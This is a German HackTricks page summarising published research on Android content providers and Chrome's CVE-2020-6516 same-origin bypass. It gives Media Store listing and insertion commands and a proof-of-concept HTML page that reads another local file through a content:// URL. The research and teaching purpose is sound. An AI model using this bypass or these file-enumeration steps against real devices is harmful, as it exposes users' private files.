6.2 KiB
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.
Dies ist eine Zusammenfassung des Beitrags https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/
Auflisten von Dateien im Media Store
Um Dateien aufzulisten, die vom Media Store verwaltet werden, kann der folgende Befehl verwendet werden:
$ content query --uri content://media/external/file
Für eine benutzerfreundlichere Ausgabe, die nur den Bezeichner und den Pfad jeder indexierten Datei anzeigt:
$ content query --uri content://media/external/file --projection _id,_data
Content-Provider sind in ihrem eigenen privaten Namespace isoliert. Der Zugriff auf einen Provider erfordert die spezifische content://
URI. Informationen über die Pfade zum Zugriff auf einen Provider können aus den Anwendungsmanifesten oder dem Quellcode des Android-Frameworks abgerufen werden.
Chroms Zugriff auf Content-Provider
Chrome auf Android kann über das content://
-Schema auf Content-Provider zugreifen und so auf Ressourcen wie Fotos oder von Drittanbieteranwendungen exportierte Dokumente zugreifen. Um dies zu veranschaulichen, kann eine Datei in den Media Store eingefügt und dann über Chrome darauf zugegriffen werden:
Fügen Sie einen benutzerdefinierten Eintrag in den Media Store ein:
cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain
Entdecken Sie die Kennung der neu eingefügten Datei:
content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
Die Datei kann dann in Chrome angezeigt werden, indem eine URL mit der Kennung der Datei erstellt wird.
Zum Beispiel, um Dateien im Zusammenhang mit einer bestimmten Anwendung aufzulisten:
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
Chrome CVE-2020-6516: Same-Origin-Policy Bypass
Die Same Origin Policy (SOP) ist ein Sicherheitsprotokoll in Browsern, das verhindert, dass Webseiten auf Ressourcen aus verschiedenen Ursprüngen zugreifen, es sei denn, dies wird explizit durch eine Cross-Origin-Resource-Sharing (CORS) Richtlinie erlaubt. Diese Richtlinie soll Informationslecks und Cross-Site Request Forgery verhindern. Chrome betrachtet content://
als lokales Schema, was strengere SOP-Regeln impliziert, wobei jede URL mit lokalem Schema als separater Ursprung behandelt wird.
Jedoch war CVE-2020-6516 eine Sicherheitslücke in Chrome, die einen Umgehung der SOP-Regeln für über eine content://
URL geladene Ressourcen ermöglichte. In der Praxis konnte JavaScript-Code von einer content://
URL auf andere über content://
URLs geladene Ressourcen zugreifen, was ein erhebliches Sicherheitsrisiko darstellte, insbesondere auf Android-Geräten mit Versionen vor Android 10, wo der Scoped Storage nicht implementiert war.
Der unten stehende Proof-of-Concept demonstriert diese Sicherheitslücke, bei der ein HTML-Dokument, nachdem es unter /sdcard hochgeladen und zur Media Store hinzugefügt wurde, XMLHttpRequest
in seinem JavaScript verwendet, um auf den Inhalt einer anderen Datei im Media Store zuzugreifen und diesen anzuzeigen, wobei die SOP-Regeln umgangen werden.
Proof-of-Concept HTML:
<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}
xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.